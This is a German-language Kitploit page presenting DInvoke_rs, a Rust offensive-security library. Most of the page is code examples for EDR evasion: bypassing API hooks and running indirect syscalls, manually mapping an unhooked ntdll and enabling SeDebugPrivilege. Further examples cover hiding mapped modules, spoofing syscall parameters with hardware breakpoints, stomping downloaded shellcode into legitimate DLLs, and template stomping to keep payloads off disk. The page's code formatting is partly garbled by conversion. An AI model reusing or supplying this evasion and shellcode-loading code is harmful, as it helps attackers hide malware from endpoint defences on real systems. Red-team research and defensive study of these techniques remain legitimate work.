Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DInvoke_rs — Dynamisch beliebigen nicht verwalteten Code aufrufen | Kitploit
Tools/GitHubGitHub/kudaes/dinvoke_rs
IDS/IPS-UmgehungShellcodePost-ExploitationBinäranalyseRed TeamingPayload-Entwicklung
GitHubkudaes/dinvoke_rs

DInvoke_rs

Dynamisch beliebigen nicht verwalteten Code aufrufen

Repository anzeigen
366435vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DInvoke_rs

Rust-Port von Dinvoke. DInvoke_rs kann für viele Zwecke verwendet werden, beispielsweise für das Parsen von PE-Dateien, die dynamische Auflösung exportierter Funktionen, das dynamische Laden von PE-Plugins zur Laufzeit, die Umgehung von API-Hooks und mehr.

Features:

  • Undokumentierte Windows-APIs dynamisch aus Rust auflösen und aufrufen.
  • Primitive, die eine strategische Umgehung von API-Hooks ermöglichen.
  • Indirekte Syscalls. nur x64
  • PE-Module manuell von der Festplatte oder direkt aus dem Speicher mappen.
  • Parsen von PE-Headern.
  • PE-Module in Abschnitte mappen, die von beliebigen Modulen auf der Festplatte gestützt werden. Nicht Opsec
  • Modul-Fluktuation, um gemappte PEs zu verstecken (Nebenläufigkeit unterstützt). Nicht Opsec
  • Spoofing von Syscall-Parametern durch Exception-Filter + Hardware-Breakpoints. nur x64
  • Module-Stomping und Shellcode-Fluktuation.
  • Template-Stomping.

Danksagung

Alle Credits gebühren den Erstellern der ursprünglichen C#-Implementierung dieses Tools:

  • The Wover
  • FuzzySec (b33f)
  • cobbr

Inhalt

  • Exportierte Funktion auflösen
  • Nicht verwalteten Code dynamisch aufrufen
  • Indirekten Syscall ausführen
  • Manuelles Mappen einer PE von Festplatte oder Speicher
  • Speicherabschnitt überladen
  • Modul-Fluktuation
Tool herunterladen
  • Hardware-Breakpoints verwenden, um Syscall-Parameter zu spoofen
  • Module-Stomping und Shellcode-Fluktuation
  • Template-Stomping
  • Verwendung

    Importieren Sie diese Crate in Ihr Projekt, indem Sie die folgende Zeile zu Ihrer cargo.toml hinzufügen:```rust [dependencies] dinvoke_rs = "0.2.2"

    root@kitploit:~
    # Beispiele
    ## Auflösen exportierter APIs
    
    Das folgende Beispiel zeigt, wie Sie mit DInvoke_rs Exporte einer DLL dynamisch finden und aufrufen können (in diesem Fall `ntdll.dll`).
    
    1) Ermitteln Sie die Basisadresse von ntdll.
    2) Verwenden Sie `get_function_address()`, um einen Export innerhalb von `ntdll.dll` anhand des Namens zu finden. Dies wird erreicht, indem die EAT der DLL durchlaufen und geparst wird.
    3) Sie können einen Export auch anhand der Ordinalzahl finden, indem Sie `get_function_address_by_ordinal()` aufrufen.```rust
    
    fn main() {
    
        // Dynamically obtain ntdll.dll's base address. 
        let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
    
        if ntdll != 0 
        {
            println!("ntdll.dll base address is 0x{:X}", ntdll);
            
            // Dynamically obtain the address of a function by name.
            let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
            if nt_create_thread != 0
            {
                println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
            }
    
            // Dynamically obtain the address of a function by ordinal.
            let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
            if ordinal_8 != 0 
            {
                println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
            }
        }   
    }
    
    

    Aufrufen von nicht verwaltetem Code

    Im folgenden Beispiel verwenden wir DInvoke_rs, um RtlAdjustPrivilege dynamisch aufzurufen und so SeDebugPrivilege für das Token des aktuellen Prozesses zu aktivieren. Diese Art der Ausführung umgeht alle in Win32 vorhandenen API-Hooks. Außerdem wird kein Eintrag in der Import Address Table der finalen PE erstellt, was es schwieriger macht, das Verhalten der PE ohne Ausführung zu erkennen.```rust

    fn main() {

    root@kitploit:~
    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
    
    if ntdll != 0 
    {
        unsafe 
        {
            let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
            let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
            let privilege: u32 = 20; // This value matches with SeDebugPrivilege
            let enable: u8 = 1; // Enable the privilege
            let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
            let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
            let enabled: *mut u8 = std::mem::transmute(&e); 
            dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled); 
    
            match ret {
                Some(x) => 
                	if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                  	else { println!("[x] NTSTATUS == {:X}", x as u32); },
                None => panic!("[x] Error!"),
            }
        } 
    }   
    

    }

    root@kitploit:~
    ## Ausführen eines indirekten Syscalls
    Im nächsten Beispiel verwenden wir DInvoke_rs, um den Syscall auszuführen, der der Funktion `NtQueryInformationProcess` entspricht. Da das Makro `execute_syscall!()` den für die Ausführung des gewünschten Syscalls erforderlichen Shellcode dynamisch allokiert und ausführt, werden alle in `ntdll.dll` vorhandenen Hooks umgangen. Der allokierte Speicher wird freigegeben, sobald der Syscall zurückkehrt, wodurch die dauerhafte Präsenz von Speicherseiten mit Ausführungsberechtigung vermieden wird.```rust
    
    use std::mem::size_of;
    use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
    use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
    
    fn main() {
    
        unsafe 
        {
            let function_type:NtQueryInformationProcess;
            let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
            let handle = GetCurrentProcess();
            let p = PROCESS_BASIC_INFORMATION::default();
            let process_information: PVOID = std::mem::transmute(&p); 
            let r = u32::default();
            let return_length: *mut u32 = std::mem::transmute(&r);
            dinvoke_rs::dinvoke::execute_syscall!(
                "NtQueryInformationProcess",
                function_type,
                ret,
                handle,
                0,
                process_information,
                size_of::<PROCESS_BASIC_INFORMATION>() as u32,
                return_length
            );
    
            let pbi: *mut PROCESS_BASIC_INFORMATION;
            match ret {
                Some(x) => 
                    if x == 0 {
                        pbi = std::mem::transmute(process_information);
                        let pbi = *pbi;
                        println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
                    },
                None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
            }  
    
        }
    }
    

    Manuelles PE-Mapping

    In diesem Beispiel wird DInvoke_rs verwendet, um eine frische Kopie von ntdll.dll manuell zu mappen, ohne jegliche EDR-Hooks. Diese frische ntdll.dll-Kopie kann dann verwendet werden, um jede gewünschte Funktion auszuführen.

    Dieses manuelle Mapping kann auch aus dem Speicher heraus ausgeführt werden (verwenden Sie in diesem Fall manually_map_module()), was die klassische reflektive DLL-Injection ermöglicht.```rust

    use dinvoke_rs::data::PeMetadata;

    fn main() {

    root@kitploit:~
    unsafe 
    {
    
        let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
    
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default();
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
    
        match ret {
            Some(x) => 
                if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }
    
    }
    

    }

    root@kitploit:~
    ## Speicherabschnitt überladen
    Im folgenden Beispiel wird DInvoke_rs verwendet, um eine dateigestützte Speicher-Section zu erstellen und diese anschließend durch manuelles Mapping einer PE zu überladen. Die Speicher-Section zeigt standardmäßig auf eine legitime Datei in `%WINDIR%\System32\`, es kann jedoch jedes andere Täuschungsmodul verwendet werden.
    
    Dieses Überladen kann auch durchgeführt werden, indem eine PE aus dem Speicher gemappt wird (wie im folgenden Beispiel gezeigt), sodass das Überladen ohne Schreiben der Payload auf die Festplatte erfolgen kann.```rust
    
    use dinvoke_rs::data::PeMetadata;
    
    fn main() {
    
        unsafe 
        {
    
            let payload: Vec<u8> = your_download_function();
    
            // This will map your payload into a legitimate file-backed memory section.
            let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
            
            // Then any exported function of the mapped PE can be dynamically called.
            // Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
            let func_ptr:  unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
            let ret: Option<i32>; // The value that the called function will return
            let parameter1: i32 = 10;
            let parameter2: i32 = 20;
            dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
    
            match ret {
                Some(x) => 
                    println!("The function returned the value {}", x),
                None => panic!("[x] Error!"),
            }
    
        }
    }
    

    Modul-Fluktuation

    DInvoke_rs ermöglicht es, gemappte PEs zu verbergen, wenn sie nicht verwendet werden, was es der EDR-Speicherinspektion erschwert, das Vorhandensein einer verdächtigen DLL in deinem Prozess zu erkennen.

    Nehmen wir zum Beispiel an, wir möchten eine frische Kopie von ntdll.dll mappen, um EDR-Hooks zu umgehen. Da zwei ntdll.dll im selben Prozess als verdächtiges Verhalten angesehen werden könnten, können wir ntdll mappen und es verbergen, wann immer wir es nicht verwenden. Dies ist der Shellcode-Fluktuationstechnik sehr ähnlich, allerdings können wir in diesem Szenario den Vorteil nutzen, dass wir ein PE in einen legitimen dateigestützten Speicherabschnitt mappen, sodass wir den Inhalt von ntdll durch den Inhalt des ursprünglichen Decoy-Moduls ersetzen können, auf das der Abschnitt verweist.```rust

    use dinvoke_rs::dmanager::Manager;

    fn main() {

    root@kitploit:~
    unsafe 
    {
        // The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios 
        let mut manager = Manager::new();
    
        // This will map ntdll.dll into a memory section pointing to cdp.dll. 
        // It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
        let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
        
        // This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
        // Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
        let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
    
        // Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
        let _ = manager.map_module(overload.1);
    
        // After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default();
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
    
        match ret {
            Some(x) => 
                if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
                else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }
    
        // Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
        let _ = manager.hide_module(overload.1);
    
    }
    

    }

    root@kitploit:~
    ## Spoofing von Syscall-Parametern
    Um die ersten 4 Parameter eines Syscalls zu spoofen, unterstützt DInvoke_rs Hardware-Breakpoints in Kombination mit Exception-Handlern. Dies ermöglicht es, harmlose Parameter an eine NT-Funktion zu senden, und nachdem die EDR sie geprüft hat, werden sie durch die ursprünglichen Parameter ersetzt, bevor die Syscall-Anweisung ausgeführt wird. Weitere Informationen finden Sie im Repository, aus dem die ursprüngliche Idee stammt: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
    
    Derzeit ist diese Funktion für die Funktionen `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` und `NtCreateThreadEx` implementiert. Um sie zu nutzen, müssen Sie lediglich die Funktion aktivieren, den Exception-Handler festlegen und die gewünschte Funktion über Dinvoke aufrufen.```rust
    
    use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
    use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
    
    fn main() {
    
        unsafe
        {
            // We active the use of hardware breakpoints to spoof syscall parameters
            dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
            // We get the memory address of our function and set it as a VEH
            let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
            dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
    
            let h = HANDLE {0: -1 as _};
            let handle: *mut HANDLE = std::mem::transmute(&h);
            let access = THREAD_ALL_ACCESS; 
            let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
            let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
            // We set the PID of the remote process 
            let remote_pid = 472isize;
            let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
            let client_id: *mut ClientId = std::mem::transmute(&c);
            // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
            // automatically spoofed by the function and restored to the original values
            // before executing the syscall.
            let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
    
            println!("NTSTATUS: {:x}", ret);
    
            dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
        }
    }
    

    Module-Stomping und Shellcode-Fluktuation

    Dinvoke_rs's Overload-Crate ermöglicht nun Modul-Stomping durch den Aufruf der Funktion managed_module_stomping(). Der erste Parameter dieser Funktion ist der Inhalt des Shellcodes. Die beiden anderen Parameter verändern das Verhalten der Funktion und ermöglichen drei verschiedene, unten kommentierte Ausführungspfade.

    Die beste Möglichkeit, diese Funktion zu nutzen, ist meiner Meinung nach, eine legitime DLL in den Prozess zu laden und Dinvoke zu erlauben, eine gute Stelle in dieser DLL zu bestimmen, um den Shellcode darauf zu stompen. Dies geschieht, indem die Basisadresse der DLL als dritter Parameter von managed_module_stomping() übergeben wird. Das zweite Argument muss null sein. Auf diese Weise iteriert Dinvoke über die Exception-Daten der DLL und sucht nach einer legitimen Funktion, die groß genug ist, um den Shellcode darauf zu stompen.```rust let payload_content = download_function(); let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll"); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);

    match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
    }

    root@kitploit:~
    Sie können auch den genauen Speicherort angeben, an dem der Shellcode gestompt werden soll, indem Sie die Speicheradresse als zweiten Parameter übergeben:```rust
    let payload_content = download_function();
    let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
    let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
    let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
    
    match module {
         Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
         Err(e) => println!("An error has occurred: {}", e),      
    }
    

    Schließlich können Sie Dinvoke erlauben, automatisch die Adresse zu bestimmen, an der der Shellcode überschrieben wird. Dies geschieht durch Iteration über die Exception-Daten aller geladenen Module, bis eine geeignete Funktion gefunden wird. Diese Option kann zu unerwartetem Verhalten führen, daher empfehle ich sie nicht wirklich, es sei denn, Sie haben keine andere Option.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);

    match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
    }

    root@kitploit:~
    Sobald der Shellcode gestompt wurde, können Sie die `dmanager`-Crate verwenden, um Ihren Shellcode zu verstecken/erneut zu stompen, was Shellcode-Fluktuation ermöglicht:```rust
    let payload_content = download_function();
    let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
    let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
    let mut manager = dinvoke_rs::dmanager::Manager::new();
    let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
    let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
     ... 
    let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
    let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
    run();
    let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
    

    Template stomping

    Template stomping ist eine Ableitung der Modul-Stomping-Technik, die speziell für DLLs entwickelt wurde. Derzeit ermöglicht diese Technik nur das Laden einer DLL in den aktuellen Prozess; Remote-Prozesse werden nicht unterstützt.

    Das Hauptziel besteht darin, eine Vorlage aus einer DLL zu erstellen, indem der Inhalt des .text-Abschnitts durch beliebige Daten ersetzt wird. Dadurch kann die Vorlage ohne Warnmeldungen auf die Festplatte geschrieben werden. Diese Vorlage ist so gestaltet, dass sie durch Aufruf von LoadLibrary in den Prozess geladen werden kann. Anschließend kann der ursprüngliche Inhalt des .text-Abschnitts direkt in den Speicher des Prozesses heruntergeladen und auf den entsprechenden Speicherbereich der Vorlage gestompt werden. Diese Technik kann effektiv mit zwei Hauptfunktionen ausgeführt werden: generate_template und template_stomping.

    Die Funktion generate_template dient dazu, die Vorlage aus der ursprünglichen DLL zu erstellen, indem der Inhalt des .text-Abschnitts extrahiert und durch beliebige Daten ersetzt wird. Dadurch bleibt die Struktur der Vorlage erhalten, sie enthält jedoch keinen bedeutungsvollen ausführbaren Code – abgesehen von den Einstiegspunkten und TLS-Callbacks, die durch Dummy-, aber funktionsfähige Assembly-Anweisungen ersetzt werden. Der ursprüngliche Inhalt des .text-Abschnitts wird separat in payload.bin gespeichert, und die endgültige Vorlagendatei wird in template.dll gespeichert.```rust fn main () { let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory"); match template { Ok(()) => { println!("Template successfully generated.");} Err(x) => { println!("Error ocurred: {x}");} } }

    root@kitploit:~
    Dann kann die Vorlage auf dem **Zielsystem** auf der Festplatte gespeichert und im aktuellen Prozess durch einen Aufruf von `LoadLibrary` geladen werden. Sobald die Vorlage vom Betriebssystem geladen wurde, besteht der nächste Schritt darin, den ursprünglichen ausführbaren Inhalt aus `payload.bin` in den `.text`-Abschnitt der Vorlage zu überschreiben. Dieser Vorgang wird von der Funktion `template_stomping` durchgeführt, die den ursprünglichen ausführbaren Inhalt in den richtigen Speicherbereich überschreibt und sich um alle Details kümmert, die bei diesem Prozess eine Rolle spielen.```rust
    
    fn main ()
    {  
        unsafe
        {
            let mut payload = http_download_payload(); // Download payload.bin content directly to memory
            let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
            println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
    
            let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
            let function: extern "system" fn() = std::mem::transmute(function_ptr);
            function();
        }
    }
    

    Dieses Verfahren ermöglicht es, eine DLL in festplattengestützte Speicherbereiche zu laden, ohne den tatsächlichen ausführbaren Inhalt auf das Dateisystem zu schreiben (wodurch die Notwendigkeit privater Speicherbereiche entfällt und die statische/dynamische Analyse von EDR umgangen wird). Außerdem bleibt während der Ausführung des DLL-Codes ein sauberer Aufrufstapel erhalten – anders als beim reflektiven Laden einer DLL.